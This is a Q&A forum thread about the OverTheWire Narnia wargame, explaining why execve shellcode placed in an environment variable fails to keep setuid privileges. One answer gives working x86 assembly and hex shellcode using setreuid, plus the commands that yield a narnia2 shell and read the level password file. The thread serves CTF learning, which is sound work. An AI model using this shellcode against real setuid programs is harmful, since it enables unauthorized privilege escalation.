1

(This is a question regarding a challenge in a wargame on overthewire.org called Narnia)

Here is the source code of the vulnerable script "narnia1" I intend to exploit:

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){    
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

So basically it executes the stuff stored in the environment variable "EGG".

I set "EGG" to be the shellcode as shown here:

export EGG=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`

which executes /bin/sh.

The owner of this file (narnia1) is "narnia2" as shown below, we expect the shell to be executed as "narnia2".

narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x  2 root    root    4096 Nov  9 15:08 .
drwxr-xr-x 25 root    root    4096 Mar 12 09:58 ..
-r-sr-x---  1 narnia1 narnia0 7568 Nov  9 15:08 narnia0
-r--r-----  1 narnia0 narnia0 1186 Nov  9 15:08 narnia0.c
-r-sr-x---  1 narnia2 narnia1 7404 Nov  9 15:08 narnia1
-r--r-----  1 narnia1 narnia1 1000 Nov  9 15:08 narnia1.c
...

However, this is what I got:

narnia1@narnia:/narnia$ export EGG=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia1

And I have no idea why this gives me a shell as "narnia1" instead of "narnia2".

Any idea?

Lowell
  • 11
  • 2

2 Answers2

1

I struggled with this for quite a while and eventually had to modify some of the shellcode I found online.

;;; Corrected assembler, based on original from:-
;;; http://shell-storm.org/shellcode/files/shellcode-399.php

      BITS 32

      push byte   0x31
      pop         eax               ; EAX = 0x31
      xor         edx, edx
      int         0x80              ; geteuid();
      mov         ebx, eax          ; result into both args of setreuid() call...
      mov         ecx, eax
      push byte   0x46              ; 
      pop         eax               ; EAX = 0x46
      int         0x80              ; setreuid(geteuid(),geteuid());
      mov         al, 0xb           ; execve syscall
      push        edx               ; push \0 string terminator
      push        0x68732f6e        ; hs/n  
      push        0x69622f2f        ; ib//      
      mov         ebx, esp          ; EBX -> "//bin/sh"
      mov         ecx, edx          ; ECX = 0
      int         0x80              ; execve(/bin/sh,0,0);

Here's the shellcode string:-

"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

And here's how to use it:-

narnia1@narnia:/narnia$ export EGG=`python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
******* (the password)
Echelon
  • 111
  • 2
0

In CTFs where you nc/ssh in to exploit a program, it is common that the binary is setuid.

So you are allowed to connect as user1, but the flag belongs to user2. By exploiting the setuid, binary you become user2, who is allowed to read the flag.

It is not trivial to create environments, where users can log in and exploit stuff, without the possibility for cheating or damaging the environments.

manduca
  • 1,111
  • 7
  • 10